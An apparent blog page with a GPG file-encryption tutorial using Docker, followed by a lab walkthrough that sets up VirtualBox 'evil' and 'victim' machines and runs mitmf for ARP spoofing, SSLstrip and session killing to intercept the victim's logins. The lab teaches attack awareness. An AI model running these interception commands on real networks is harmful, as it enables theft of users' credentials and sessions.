File encryption/decryption using GPG

There are just too many people and organizations who are interested in our data. Thus, the secure transmission of data is important. Through encryption/decryption, data can be protected from access by third parties. There are already very long easy ways for the encryption/decryption but I have to find again and again that these are quite unknown. Herewith a little tutorial where I want to show possibilities by means of GPG.


  • Docker (latest)

Environment preparation

By means of two Docker containers, we now want to simulate 2 persons who exchange the encrypted data.

# prepare project
$ mkdir -p ~/Projects/GPG-Example && cd ~/Projects/GPG-Example

# pull latest centos image (optional)
$ docker pull centos

# start container (user_a)
$ docker run -d -ti --name user_a --mount type=bind,source="$(pwd)",target=/share centos /bin/bash

# start container (user_b)
$ docker run -d -ti --name user_b --mount type=bind,source="$(pwd)",target=/share centos /bin/bash

# check running containers (optional)
$ docker ps -a

# enter container (user_a eq. terminal 000)
$ docker exec -ti user_a /bin/bash

# enter container (user_b eq. terminal 001)
$ docker exec -ti user_b /bin/bash

Container (user_a)

# show version (optional)
$ gpg --version

# create a simple text file
$ echo -e "Lorem ipsum dolor sit amet,\nconsetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,\nsed diam voluptua." > /share/example.txt

# print file in STDOUT (optional)
$ cat /share/example.txt

# symmetric encryption
$ gpg -c /share/example.txt && rm -f /share/example.txt

# check directory (optional)
$ ls -la /share/

Container (user_b)

# symmetric decryption
$ gpg -d -o /share/example.txt /share/example.txt.gpg && rm -f /share/example.txt.gpg

# print file in STDOUT (optional)
$ cat /share/example.txt

No passphrase prompt

If you want to use the encryption/decryption without prompt, for example in a bash script, you can use the following options. Depending on the version, it can come to a distinction. Option 1 is by default not available in the Docker containers.

# symmetric encryption (option 1)
$ gpg -c --pinentry-mode=loopback --passphrase "PASSWORD" /share/example.txt && rm -f /share/example.txt

# symmetric encryption (option 2)
$ echo "PASSWORD" | gpg -c --batch --passphrase-fd 0 /share/example.txt && rm -f /share/example.txt

# symmetric encryption (option 3)
$ gpg -c --batch --passphrase "PASSWORD" /share/example.txt && rm -f /share/example.txt

# symmetric decryption (option 1)
$ gpg -d --pinentry-mode=loopback --passphrase "PASSWORD" -o /share/example.txt /share/example.txt.gpg && rm -f /share/example.txt.gpg

# symmetric decryption (option 2)
$ echo "PASSWORD" | gpg -d --batch --passphrase-fd 0 -o /share/example.txt /share/example.txt.gpg && rm -f /share/example.txt.gpg

# symmetric decryption (option 3)
$ gpg -d --batch --passphrase "PASSWORD" -o /share/example.txt /share/example.txt.gpg && rm -f /share/example.txt.gpg

Multiple files

You can also use a simple loop to encrypt/decrypt multiple files. Please note the available GPG version/options. Here now a simple example without prompt.

# create 3 text files from single file
$ split -l 1 -d /share/example.txt -a 1 --additional-suffix=".txt" /share/demo_

# check directory (optional)
$ ls -la /share/

# start symmetric encryption with multiple file
$ for file in /share/demo_{0..2}.txt; do gpg -c --batch --passphrase "PASSWORD" "$file" && rm -f "$file"; done

# check directory (optional)
$ ls -la /share/

# start symmetric decryption with multiple file
$ for file in /share/demo_{0..2}.txt.gpg; do gpg -d --batch --passphrase "PASSWORD" -o "${file::-4}" "$file" && rm -f "$file"; done

# check directory (optional)
$ ls -la /share/

Encryption and Decryption via keys

Container (user_a)

# generate keys
$ gpg --gen-key
kind of key: 1
keysize: 2048
valid: 0
Real name: user_a
Email address: user_a@demo.tld

# list keys (optional)
$ gpg --list-keys

# export public key
$ gpg --armor --export user_a@demo.tld > /share/user_a.asc

Container (user_b)

# generate keys
$ gpg --gen-key
kind of key: 1
keysize: 2048
valid: 0
Real name: user_b
Email address: user_b@demo.tld

# list keys (optional)
$ gpg --list-keys

# export public key
$ gpg --armor --export user_b@demo.tld > /share/user_b.asc

Both public keys are available.

# show folder content (optional)
ls -la /share/
-rw-r--r-- 1 root root  156 Oct 19 12:19 example.txt
-rw-r--r-- 1 root root 1707 Oct 19 13:22 user_a.asc
-rw-r--r-- 1 root root 1707 Oct 19 13:27 user_b.asc

Both clients need to import the public key from other.

# user_a
$ gpg --import /share/user_b.asc

# user_b
$ gpg --import /share/user_a.asc

# list keys (optional)
$ gpg --list-keys

Our user_a now encrypt data.

# encryption for recipient
$ gpg -e -r user_b /share/example.txt && rm -f /share/example.txt

# show folder content (optional)
$ ls -la /share/

User_b now decrypt data.

# decryption
$ gpg -d -o /share/example.txt /share/example.txt.gpg && rm -f /share/example.txt.gpg

# print file in STDOUT (optional)
$ cat /share/example.txt

I hope that you have found an entry point into the topic and I have woken up your interest.

Man in the Middle Attack (MITM)

In this tutorial you will learn how to work a man in the middle attack. For this you will create and configure a simple test environment. The test environment simulates a small home network with a NAT router, a client (victim) and another client (evil) that has already penetrated the network. For the attack itself, you will get in touch with popular mitmf framework.

Attention: The tutorial is presented just for educational purposes. If you do what you have learned outside the test environment, you may be liable to prosecution.


  • VirtualBox (5.2.18)
  • Vagrant (2.1.5)

Prepare environment

In the first step, you need to configure, setup and provision the environment. Vagrant will help you here. Via Vagrant you will create all needed virtual machines (incl. SSH keys) and install the needed packages on the evil engine. Via file machines.yml you could add Vagrant boxes for Windows, macOS as well.

# create project
$ mkdir -p ~/Projects/ExampleEnv && cd ~/Projects/ExampleEnv

# create needed files
$ touch Vagrantfile machines.yml

# edit machines.yml (copy content into file)
$ vim machines.yml

# edit Vagrantfile (copy content into file)
$ vim Vagrantfile

# run Vagrant
$ vagrant up
  - name: evil
    box: debian/stretch64
    cpus: 1
    memory: 1024
  - name: victim
    box: chad-thompson/ubuntu-trusty64-gui
    cpus: 1
    memory: 1024

Note: Please remove the spaces behind etc (in the Vagrantfile)! These are only because of the security settings of my provider.

# -*- mode: ruby -*-
# vi: set ft=ruby :

require 'yaml'
machines = YAML.load_file('machines.yml')

Vagrant.configure("2") do |config|
  machines.each do |machines|
    config.vm.define machines["name"] do |machine|

      # define vagrant box = machines["box"]
      # disbale default synced_folder
      machine.vm.synced_folder ".", "/vagrant", disabled: true
      # configure virtualbox
      machine.vm.provider :virtualbox do |vb| = machines["name"]
        vb.cpus = machines["cpus"]
        vb.memory = machines["memory"]
        vb.gui = false
      # provisioning: only evil
      if machines["name"] == 'evil'
        machine.vm.provision "shell", inline: <<-SHELL
          echo 'deb kali-rolling main non-free contrib' >> /etc /apt/sources.list
          echo 'deb-src kali-rolling main non-free contrib' >> /etc /apt/sources.list
          apt-get update
          apt-get install -y --allow-unauthenticated mitmf


Small network changes

You must now switch from typical NAT to NAT network. For that you stop (halt) all VM’s. In the next steps you will create a new NAT network and configure the VM network adapters for this network. In the end, you simulated a simple home network.

# stop all VM's
$ vagrant halt

# create new VirtualBox NAT-Network
$ VBoxManage natnetwork add --netname homenet --network "" --enable --dhcp on --ipv6 off

# list all NAT-Networks (optional)
$ VBoxManage list natnetworks

# change interfaces from NAT to NAT-Network for evil VM
$ VBoxManage modifyvm evil --nic1 natnetwork --nat-network1 homenet

# change mac address for evil VM
$ VBoxManage modifyvm evil --macaddress1 08002707B96E

# show network configuration for evil (optional)
$ VBoxManage showvminfo evil | grep "NIC"

# change interfaces from NAT to NAT-Network for victim VM
$ VBoxManage modifyvm victim --nic1 natnetwork --nat-network1 homenet

# change mac address for victim VM
$ VBoxManage modifyvm victim --macaddress1 080027C0B653

# some Ubuntu VirtualBox changes
$ VBoxManage modifyvm victim --accelerate3d on --vram 128

# show network configuration for victim (optional)
$ VBoxManage showvminfo victim | grep "NIC"

Start all VM’s again

In this step we start all VM’s but without Vagrant.

# start evil VM
$ VBoxManage startvm evil

# start victim VM
$ VBoxManage startvm victim

Now check the network interfaces for both VM’s. Please note down the IP’s, you will need them in next steps. You can login in both with credentials vagrant:vagrant.

# evil VM
$ ip -4 addr

# victim VM
$ ip -4 addr

Note: In the example the evil VM has the IP: and the victim the IP: – this could be different for you.

In order not to use the VirtualBox Terminal, create a port forward from the localhost to the evil VM.

# add port forwarding from localhost to evil VM
$ VBoxManage natnetwork modify --netname homenet --port-forward-4 "evilssh:tcp:[]:2222:[]:22"

# ssh connection to evil
$ ssh -i .vagrant/machines/evil/virtualbox/private_key -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null vagrant@localhost

Man-in-the-middle attack

You made it, the test environment is finally ready. If you have been able to learn something new up to this point, I am glad. Now imagine the following situation. You are the victim and you surf the Internet, logging in on your popular websites. Can you imagine what can happen? In a few minutes you will see it.

Once the Ubuntu has booted, run the following command (as evil) and surf the web using the Firefox browser (as victim). If the mitmf returns an error message, repeat the command in the terminal. Be a bit patient on successful call.

# change to root
$ sudo su -

# enable ip4_forward (only this session)
$ sysctl -w net.ipv4.ip_forward=1

# check ip4_forwarding is enabled (optional)
$ sysctl net.ipv4.ip_forward

# start mitmf (incl. ARP spoofing)
$ mitmf --spoof --arp -i eth0 --gateway --target

# start mitmf (incl. ARP spoofing, enabled SSLstrip, Session kill)
$ mitmf --spoof --arp --hsts -k -i eth0 --gateway --target

Mitmf still offers a lot of plug-ins, just give it a try.